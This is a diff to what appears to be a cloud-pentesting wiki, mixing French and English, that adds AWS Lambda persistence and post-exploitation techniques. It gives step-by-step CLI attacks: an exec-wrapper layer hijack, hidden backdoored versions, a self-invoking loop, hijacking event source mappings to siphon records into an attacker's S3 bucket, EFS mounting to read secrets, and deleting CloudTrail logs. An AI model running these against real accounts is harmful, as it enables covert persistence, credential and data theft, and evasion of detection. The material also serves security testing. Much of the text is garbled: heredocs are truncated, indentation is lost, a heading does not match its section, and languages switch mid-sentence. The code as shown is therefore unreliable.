diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 179d5907b..89000598c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -1,4 +1,4 @@
-# AWS - Lambda Persistence
+# AWS - Lambda Persistance
{{#include ../../../../banners/hacktricks-training.md}}
@@ -10,55 +10,82 @@ Pour plus d'informations, consultez :
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### Persistence de la couche Lambda
+### Lambda Layer Persistance
-Il est possible d'**introduire/installer une porte dérobée dans une couche pour exécuter du code arbitraire** lorsque la lambda est exécutée de manière discrète :
+It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
-### Persistence de l'extension Lambda
+### Lambda Extension Persistance
-En abusant des couches Lambda, il est également possible d'abuser des extensions et de persister dans la lambda, mais aussi de voler et de modifier des requêtes.
+En abusant des Lambda Layers, il est également possible d'abuser des extensions et de persister dans la lambda tout en volant et modifiant les requêtes.
{{#ref}}
aws-abusing-lambda-extensions.md
{{#endref}}
-### Via les politiques de ressources
+### Via resource policies
-Il est possible d'accorder l'accès à différentes actions lambda (comme invoquer ou mettre à jour le code) à des comptes externes :
+Il est possible d'accorder l'accès à différentes actions lambda (such as invoke or update code) à des comptes externes :
-### Versions, Alias & Poids
+### Versions, Aliases & Weights
-Une Lambda peut avoir **différentes versions** (avec un code différent pour chaque version).\
-Ensuite, vous pouvez créer **différents alias avec différentes versions** de la lambda et définir des poids différents pour chacun.\
-De cette manière, un attaquant pourrait créer une **version 1 avec porte dérobée** et une **version 2 avec uniquement le code légitime** et **n'exécuter que la version 1 dans 1%** des requêtes pour rester discret.
+A Lambda can have **different versions** (with different code each version).\
+Ensuite, vous pouvez créer **différents aliases avec différentes versions** de la lambda et attribuer des weights différents à chacun.\
+De cette façon un attaquant pourrait créer une **backdoored version 1** et une **version 2 with only the legit code** et **n'exécuter la version 1 que dans 1%** des requêtes pour rester furtif.
-### Porte dérobée de version + API Gateway
+### Version Backdoor + API Gateway
-1. Copier le code original de la Lambda
-2. **Créer une nouvelle version avec porte dérobée** du code original (ou juste avec du code malveillant). Publier et **déployer cette version** sur $LATEST
-1. Appeler la passerelle API liée à la lambda pour exécuter le code
-3. **Créer une nouvelle version avec le code original**, Publier et déployer cette **version** sur $LATEST.
-1. Cela cachera le code avec porte dérobée dans une version précédente
-4. Aller à la passerelle API et **créer une nouvelle méthode POST** (ou choisir toute autre méthode) qui exécutera la version avec porte dérobée de la lambda : `arn:aws:lambda:us-east-1::function::1`
-1. Notez le final :1 de l'arn **indiquant la version de la fonction** (la version 1 sera celle avec porte dérobée dans ce scénario).
-5. Sélectionnez la méthode POST créée et dans Actions, sélectionnez **`Déployer l'API`**
-6. Maintenant, lorsque vous **appelez la fonction via POST, votre porte dérobée** sera invoquée
+1. Copy the original code of the Lambda
+2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
+1. Call the API gateway related to the lambda to execute the code
+3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
+1. This will hide the backdoored code in a previous version
+4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1`
+1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
+5. Select the POST method created and in Actions select **`Deploy API`**
+6. Now, when you **call the function via POST your Backdoor** will be invoked
-### Cron/Actionneur d'événements
+### Cron/Event actuator
-Le fait que vous puissiez faire **exécuter des fonctions lambda lorsque quelque chose se produit ou lorsque du temps passe** rend lambda un moyen agréable et courant d'obtenir une persistance et d'éviter la détection.\
-Voici quelques idées pour rendre votre **présence dans AWS plus discrète en créant des lambdas**.
+Le fait que vous puissiez faire **exécuter des fonctions lambda lorsqu'un événement survient ou quand un certain temps s'écoule** fait des lambda un moyen fréquent et efficace d'obtenir de la persistance et d'éviter la détection.\
+Voici quelques idées pour rendre votre **présence dans AWS plus furtive en créant des lambdas**.
+
+- Every time a new user is created lambda generates a new user key and send it to the attacker.
+- Every time a new role is created lambda gives assume role permissions to compromised users.
+- Every time new cloudtrail logs are generated, delete/alter them
+
+### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
+
+Abusez la variable d'environnement `AWS_LAMBDA_EXEC_WRAPPER` pour exécuter un script wrapper contrôlé par l'attaquant avant que le runtime/handler ne démarre. Fournissez le wrapper via un Lambda Layer à `/opt/bin/htwrap`, définissez `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, puis invoquez la fonction. Le wrapper s'exécute dans le processus runtime de la fonction, hérite du role d'exécution de la fonction, et finit par `exec` le runtime réel afin que le handler original s'exécute normalement.
+
+{{#ref}}
+aws-lambda-exec-wrapper-persistence.md
+{{#endref}}
+
+### AWS - Lambda Function URL Public Exposure
+
+Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
+
+{{#ref}}
+aws-lambda-async-self-loop-persistence.md
+{{#endref}}
+
+### AWS - Lambda Alias-Scoped Resource Policy Backdoor
+
+Créez une version cachée de la Lambda contenant la logique de l'attaquant et scopez une resource-based policy à cette version spécifique (ou alias) en utilisant le paramètre `--qualifier` dans `lambda add-permission`. Accordez seulement `lambda:InvokeFunction` sur `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` à un principal attaquant. Les invocations normales via le nom de la fonction ou l'alias principal restent inchangées, tandis que l'attaquant peut invoquer directement l'ARN de la version backdoored.
+
+Ceci est plus furtif que d'exposer une Function URL et ne change pas l'alias de trafic principal.
+
+{{#ref}}
+aws-lambda-alias-version-policy-backdoor.md
+{{#endref}}
-- Chaque fois qu'un nouvel utilisateur est créé, la lambda génère une nouvelle clé utilisateur et l'envoie à l'attaquant.
-- Chaque fois qu'un nouveau rôle est créé, la lambda accorde des permissions d'assumer le rôle aux utilisateurs compromis.
-- Chaque fois que de nouveaux journaux cloudtrail sont générés, les supprimer/les modifier
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md
new file mode 100644
index 000000000..7b8eb63b8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md
@@ -0,0 +1,88 @@
+# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Résumé
+
+Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
+
+Ceci est plus discret que d'exposer un Function URL et ne change pas l'alias principal de trafic.
+
+## Permissions requises (attaquant)
+
+- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
+- `lambda:AddPermission` (to add version-scoped resource policy)
+- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
+
+## Étapes d'attaque (CLI)
+
+
+Publier une version cachée, ajouter une permission limitée par qualifier, invoquer en tant qu'attaquant
+```bash
+# Vars
+REGION=us-east-1
+TARGET_FN=
+
+# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
+# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version --region "$REGION"
+
+# 1) Build a small backdoor handler and publish as a new version
+cat > bdoor.py </dev/null
+cat > /tmp/invoke-policy.json </dev/null
+cat /tmp/ver-out.json
+
+# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
+aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
+```
+
+
+## Impact
+
+- Fournit une backdoor discrète permettant d'invoquer une version cachée de la fonction sans modifier l'alias principal ni exposer une Function URL.
+- Limite l'exposition à la seule version/alias spécifiée via la resource-based policy `Qualifier`, réduisant la surface de détection tout en conservant une invocation fiable pour l'attacker principal.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md
new file mode 100644
index 000000000..1b0c96663
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md
@@ -0,0 +1,92 @@
+# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
+
+Abusez des Destinations asynchrones de Lambda conjointement avec la configuration Recursion pour faire en sorte qu'une function se ré-invoque continuellement sans ordonnanceur externe (pas d'EventBridge, cron, etc.). Par défaut, Lambda termine les boucles récursives, mais définir la recursion config sur Allow les réactive. Les Destinations livrent côté service pour les async invokes, donc un seul invoke initial crée un canal discret de heartbeat/backdoor sans code. En option, bridez avec reserved concurrency pour garder le bruit faible.
+
+Notes
+- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
+- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
+
+## Requirements
+- Région: us-east-1
+- Vars:
+- REGION=us-east-1
+- TARGET_FN=
+
+## Steps
+
+1) Obtenir l'ARN de la function et le paramètre Recursion actuel
+```
+FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
+aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
+```
+2) Publier une version et créer/mettre à jour un alias (utilisé comme destination vers lui-même)
+```
+VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
+if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
+aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
+else
+aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
+fi
+ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
+```
+3) Autoriser le rôle d'exécution de la fonction à invoquer l'alias (requis par Lambda Destinations→Lambda)
+```
+# Set this to the execution role name used by the target function
+ROLE_NAME=
+cat > /tmp/invoke-self-policy.json </dev/null
+```
+7) Observer des invocations continues (exemples)
+```
+# Recent logs (if the function logs each run)
+aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
+# or check CloudWatch Metrics for Invocations increasing
+```
+8) Bridage furtif optionnel
+```
+aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
+```
+## Nettoyage
+Interrompre la boucle et supprimer la persistance.
+```
+aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
+aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
+aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
+# Optional: delete alias and remove the inline policy when finished
+aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
+ROLE_NAME=
+aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
+```
+## Impact
+- Un seul async invoke entraîne Lambda à se réinvoquer continuellement sans ordonnanceur externe, permettant une persistance discrète/heartbeat. Reserved concurrency peut limiter le bruit à une seule warm execution.
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md
new file mode 100644
index 000000000..31a509ceb
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md
@@ -0,0 +1,94 @@
+# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Résumé
+
+Abusez de la variable d'environnement `AWS_LAMBDA_EXEC_WRAPPER` pour exécuter un script wrapper contrôlé par l'attaquant avant que le runtime/handler ne démarre. Déployez le wrapper via un Lambda Layer à `/opt/bin/htwrap`, définissez `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, puis invoquez la fonction. Le wrapper s'exécute dans le processus runtime de la fonction, hérite du rôle d'exécution de la fonction, et finit par `exec` le runtime réel afin que le handler d'origine s'exécute normalement.
+
+> [!WARNING]
+> Cette technique donne une exécution de code dans la Lambda cible sans modifier son code source ni son rôle et sans nécessiter `iam:PassRole`. Vous avez seulement besoin de la capacité à mettre à jour la configuration de la fonction et à publier/attacher un layer.
+
+## Permissions requises (attaquant)
+
+- `lambda:UpdateFunctionConfiguration`
+- `lambda:GetFunctionConfiguration`
+- `lambda:InvokeFunction` (ou déclencher via un événement existant)
+- `lambda:ListFunctions`, `lambda:ListLayers`
+- `lambda:PublishLayerVersion` (même compte) et éventuellement `lambda:AddLayerVersionPermission` si vous utilisez un layer cross-account/public
+
+## Wrapper Script
+
+Placez le wrapper à `/opt/bin/htwrap` dans le layer. Il peut exécuter de la logique pré-handler et doit se terminer par `exec "$@"` pour chaîner vers le runtime réel.
+```bash
+#!/bin/bash
+set -euo pipefail
+# Pre-handler actions (runs in runtime process context)
+echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
+python3 - <<'PY'
+import boto3, json, os
+try:
+ident = boto3.client('sts').get_caller_identity()
+print('[ht] sts identity:', json.dumps(ident))
+except Exception as e:
+print('[ht] sts error:', e)
+PY
+# Chain to the real runtime
+exec "$@"
+```
+## Étapes d'attaque (CLI)
+
+
+Publier la layer, l'attacher à la fonction cible, définir le wrapper, invoquer
+```bash
+# Vars
+REGION=us-east-1
+TARGET_FN=
+
+# 1) Package wrapper at /opt/bin/htwrap
+mkdir -p layer/bin
+cat > layer/bin/htwrap <<'WRAP'
+#!/bin/bash
+set -euo pipefail
+echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
+python3 - <<'PY'
+import boto3, json
+print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
+PY
+exec "$@"
+WRAP
+chmod +x layer/bin/htwrap
+(zip -qr htwrap-layer.zip layer)
+
+# 2) Publish the layer
+LAYER_ARN=$(aws lambda publish-layer-version \
+--layer-name ht-exec-wrapper \
+--zip-file fileb://htwrap-layer.zip \
+--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
+--query LayerVersionArn --output text --region "$REGION")
+
+echo "$LAYER_ARN"
+
+# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
+aws lambda update-function-configuration \
+--function-name "$TARGET_FN" \
+--layers "$LAYER_ARN" \
+--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
+--region "$REGION"
+
+# Wait for update to finish
+until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
+
+# 4) Invoke and verify via CloudWatch Logs
+aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
+aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
+```
+
+
+## Impact
+
+- Exécution de code pré-handler dans le contexte d'exécution Lambda en utilisant le rôle d'exécution existant de la fonction.
+- Aucun changement du code de la fonction ou du rôle requis ; fonctionne sur les runtimes managés courants (Python, Node.js, Java, .NET).
+- Permet la persistance, l'accès aux identifiants (p. ex., STS), l'exfiltration de données et la manipulation du runtime avant l'exécution du handler.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
index 7a08d87a6..66b8f7a09 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -10,26 +10,76 @@ Pour plus d'informations, consultez :
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### Exfiltrer les identifiants Lambda
+### Exfilrtate Lambda Credentials
-Lambda utilise des variables d'environnement pour injecter des identifiants à l'exécution. Si vous pouvez y accéder (en lisant `/proc/self/environ` ou en utilisant la fonction vulnérable elle-même), vous pouvez les utiliser vous-même. Ils se trouvent dans les noms de variables par défaut `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` et `AWS_ACCESS_KEY_ID`.
+Lambda utilise des variables d'environnement pour injecter des credentials à l'exécution. Si vous pouvez y accéder (en lisant `/proc/self/environ` ou en utilisant la fonction vulnérable elle‑même), vous pouvez les utiliser. Elles se trouvent dans les noms de variables par défaut `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, et `AWS_ACCESS_KEY_ID`.
-Par défaut, ceux-ci auront accès à écrire dans un groupe de journaux cloudwatch (dont le nom est stocké dans `AWS_LAMBDA_LOG_GROUP_NAME`), ainsi qu'à créer des groupes de journaux arbitraires, cependant, les fonctions lambda ont souvent plus de permissions assignées en fonction de leur utilisation prévue.
+Par défaut, celles‑ci auront le droit d'écrire dans un cloudwatch log group (dont le nom est stocké dans `AWS_LAMBDA_LOG_GROUP_NAME`), ainsi que de créer des log groups arbitraires ; cependant les fonctions lambda ont fréquemment des permissions supplémentaires assignées en fonction de leur usage prévu.
-### Voler les requêtes URL Lambda d'autres utilisateurs
+### Steal Others Lambda URL Requests
-Si un attaquant parvient d'une manière ou d'une autre à obtenir un RCE à l'intérieur d'une Lambda, il pourra voler les requêtes HTTP d'autres utilisateurs vers la lambda. Si les requêtes contiennent des informations sensibles (cookies, identifiants...), il pourra les voler.
+Si un attaquant parvient d'une manière ou d'une autre à obtenir RCE dans une Lambda, il pourra voler les requêtes HTTP d'autres utilisateurs envoyées à la lambda. Si les requêtes contiennent des informations sensibles (cookies, credentials...), il pourra les dérober.
{{#ref}}
aws-warm-lambda-persistence.md
{{#endref}}
-### Voler les requêtes URL Lambda d'autres utilisateurs et les requêtes d'extensions
+### Steal Others Lambda URL Requests & Extensions Requests
-En abusant des Lambda Layers, il est également possible d'abuser des extensions et de persister dans la lambda, mais aussi de voler et de modifier des requêtes.
+En abusant des Lambda Layers, il est aussi possible d'abuser des extensions et de persister dans la lambda, mais aussi de voler et modifier les requêtes.
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
{{#endref}}
+### AWS Lambda – VPC Egress Bypass
+
+Forcer une fonction Lambda hors d'un VPC restreint en mettant à jour sa configuration avec un VpcConfig vide (SubnetIds=[], SecurityGroupIds=[]). La fonction s'exécutera alors dans le plan réseau géré par Lambda, récupérant l'accès sortant à Internet et contournant les contrôles d'egress appliqués par des sous‑réseaux VPC privés sans NAT.
+
+{{#ref}}
+aws-lambda-vpc-egress-bypass.md
+{{#endref}}
+
+### AWS Lambda – Runtime Pinning/Rollback Abuse
+
+Abuser de `lambda:PutRuntimeManagementConfig` pour pin (verrouiller) une fonction sur une version runtime spécifique (Manual) ou geler les mises à jour (FunctionUpdate). Cela préserve la compatibilité avec des layers/wrappers malveillants et peut maintenir la fonction sur un runtime obsolète et vulnérable, facilitant l'exploitation et la persistance à long terme.
+
+{{#ref}}
+aws-lambda-runtime-pinning-abuse.md
+{{#endref}}
+
+### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
+
+Abuser des contrôles avancés de logging de `lambda:UpdateFunctionConfiguration` pour rediriger les logs d'une fonction vers un CloudWatch Logs log group choisi par l'attaquant. Cela fonctionne sans modifier le code ni le rôle d'exécution (la plupart des rôles Lambda incluent déjà `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). Si la fonction affiche des secrets/corps de requête ou plante avec des stack traces, vous pouvez les récupérer depuis le nouveau log group.
+
+{{#ref}}
+aws-lambda-loggingconfig-redirection.md
+{{#endref}}
+
+### AWS - Lambda Function URL Public Exposure
+
+Transformer une Lambda Function URL privée en un endpoint public non authentifié en passant le Function URL AuthType à NONE et en attachant une resource-based policy qui accorde lambda:InvokeFunctionUrl à tout le monde. Cela permet l'invocation anonyme de fonctions internes et peut exposer des opérations backend sensibles.
+
+{{#ref}}
+aws-lambda-function-url-public-exposure.md
+{{#endref}}
+
+### AWS Lambda – Event Source Mapping Target Hijack
+
+Abuser de `UpdateEventSourceMapping` pour changer la fonction Lambda cible d'un Event Source Mapping (ESM) existant afin que les enregistrements de DynamoDB Streams, Kinesis, ou SQS soient livrés à une fonction contrôlée par l'attaquant. Cela détourne silencieusement des données en direct sans toucher aux producteurs ni au code de la fonction d'origine.
+
+{{#ref}}
+aws-lambda-event-source-mapping-target-hijack.md
+{{#endref}}
+
+### AWS Lambda – EFS Mount Injection data exfiltration
+
+Abuser de `lambda:UpdateFunctionConfiguration` pour attacher un EFS Access Point existant à une Lambda, puis déployer du code trivial qui liste/lit des fichiers depuis le chemin monté afin d'exfiltrer des secrets/config partagés auxquels la fonction n'avait pas accès auparavant.
+
+{{#ref}}
+aws-lambda-efs-mount-injection.md
+{{#endref}}
+
+
+
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
new file mode 100644
index 000000000..007218fb1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
@@ -0,0 +1,74 @@
+# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
+
+Abuser de `lambda:UpdateFunctionConfiguration` pour attacher un EFS Access Point existant à une Lambda, puis déployer un petit code qui liste/lit des fichiers depuis le chemin monté afin d'exfiltrer des shared secrets/config auxquels la fonction n'avait pas accès auparavant.
+
+## Prérequis
+- Permissions sur le compte/principal victime:
+- `lambda:GetFunctionConfiguration`
+- `lambda:ListFunctions` (to find functions)
+- `lambda:UpdateFunctionConfiguration`
+- `lambda:UpdateFunctionCode`
+- `lambda:InvokeFunction`
+- `efs:DescribeMountTargets` (to confirm mount targets exist)
+- Hypothèses sur l'environnement:
+- La Lambda cible est configurée pour utiliser un VPC et ses subnets/SGs peuvent atteindre le SG de la cible de montage EFS via TCP/2049 (p. ex. le rôle a AWSLambdaVPCAccessExecutionRole et le routage VPC le permet).
+- L'EFS Access Point se trouve dans le même VPC et possède des mount targets dans les AZs des subnets de la Lambda.
+
+## Attaque
+- Variables
+```
+REGION=us-east-1
+TARGET_FN=
+EFS_AP_ARN=
+```
+1) Attacher l'EFS Access Point à la Lambda
+```
+aws lambda update-function-configuration \
+--function-name $TARGET_FN \
+--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
+--region $REGION
+# wait until LastUpdateStatus == Successful
+until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
+```
+2) Écraser le code avec un lecteur simple qui liste les fichiers et lit les 200 premiers octets d'un fichier secret/config candidat
+```
+cat > reader.py </dev/null
+cat /tmp/efs-out.json
+```
+La sortie doit contenir la liste du répertoire sous /mnt/ht et un petit aperçu d'un fichier secret/de configuration choisi depuis EFS.
+
+## Impact
+Un attaquant disposant des permissions listées peut monter arbitrairement des in-VPC EFS Access Points dans des fonctions Lambda victimes pour read and exfiltrate la configuration partagée et les secrets stockés sur EFS qui étaient auparavant inaccessibles à cette fonction.
+
+## Cleanup
+```
+aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md
new file mode 100644
index 000000000..56be7f03d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md
@@ -0,0 +1,75 @@
+# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Exploiter `UpdateEventSourceMapping` pour changer la fonction Lambda cible d'un Event Source Mapping (ESM) existant afin que les enregistrements de DynamoDB Streams, Kinesis ou SQS soient livrés à une fonction contrôlée par l'attaquant. Cela détourne silencieusement des données en temps réel sans toucher les producteurs ni le code de la fonction originale.
+
+## Impact
+- Détourner et lire des enregistrements en temps réel depuis des streams/queues existants sans modifier les applications productrices ni le code de la victime.
+- Exfiltration potentielle de données ou altération de la logique en traitant le trafic de la victime dans une fonction rogue.
+
+## Required permissions
+- `lambda:ListEventSourceMappings`
+- `lambda:GetEventSourceMapping`
+- `lambda:UpdateEventSourceMapping`
+- Capacité à déployer ou référencer une Lambda contrôlée par l'attaquant (`lambda:CreateFunction` ou permission d'utiliser une fonction existante).
+
+## Steps
+
+1) Énumérer les Event Source Mappings pour la fonction victime
+```
+TARGET_FN=
+aws lambda list-event-source-mappings --function-name $TARGET_FN \
+--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
+export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
+--query 'EventSourceMappings[0].UUID' --output text)
+export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
+--query 'EventSourceMappings[0].EventSourceArn' --output text)
+```
+2) Préparez un Lambda récepteur contrôlé par un attacker (même région ; idéalement VPC/runtime similaire)
+```
+cat > exfil.py <<'PY'
+import json, boto3, os, time
+
+def lambda_handler(event, context):
+print(json.dumps(event)[:3000])
+b = os.environ.get('EXFIL_S3')
+if b:
+k = f"evt-{int(time.time())}.json"
+boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
+return {'ok': True}
+PY
+zip exfil.zip exfil.py
+ATTACKER_LAMBDA_ROLE_ARN=
+export ATTACKER_FN_ARN=$(aws lambda create-function \
+--function-name ht-esm-exfil \
+--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
+--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
+--query FunctionArn --output text)
+```
+3) Repointer le mapping vers la fonction attacker
+```
+aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
+```
+4) Générer un événement sur la source pour que le mapping se déclenche (exemple : SQS)
+```
+SOURCE_SQS_URL=
+aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
+```
+5) Vérifier que la attacker function reçoit le batch
+```
+aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
+```
+6) Furtivité optionnelle
+```
+# Pause mapping while siphoning events
+aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
+
+# Restore original target later
+aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
+```
+Remarques :
+- Pour les SQS ESMs, le rôle d'exécution de la Lambda qui traite la file doit disposer de `sqs:ReceiveMessage`, `sqs:DeleteMessage`, et `sqs:GetQueueAttributes` (politique gérée : `AWSLambdaSQSQueueExecutionRole`).
+- L'UUID de l'ESM reste le même ; seul son `FunctionArn` est modifié, donc les producteurs et les source ARNs restent inchangés.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
new file mode 100644
index 000000000..a5658b9d9
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md
@@ -0,0 +1,46 @@
+# AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy)
+
+Transformer une Lambda Function URL privée en un endpoint public non authentifié en changeant l'AuthType de la Function URL sur NONE et en attachant une resource-based policy qui accorde lambda:InvokeFunctionUrl à tout le monde. Cela permet l'invocation anonyme de fonctions internes et peut exposer des opérations backend sensibles.
+
+## Abusing it
+
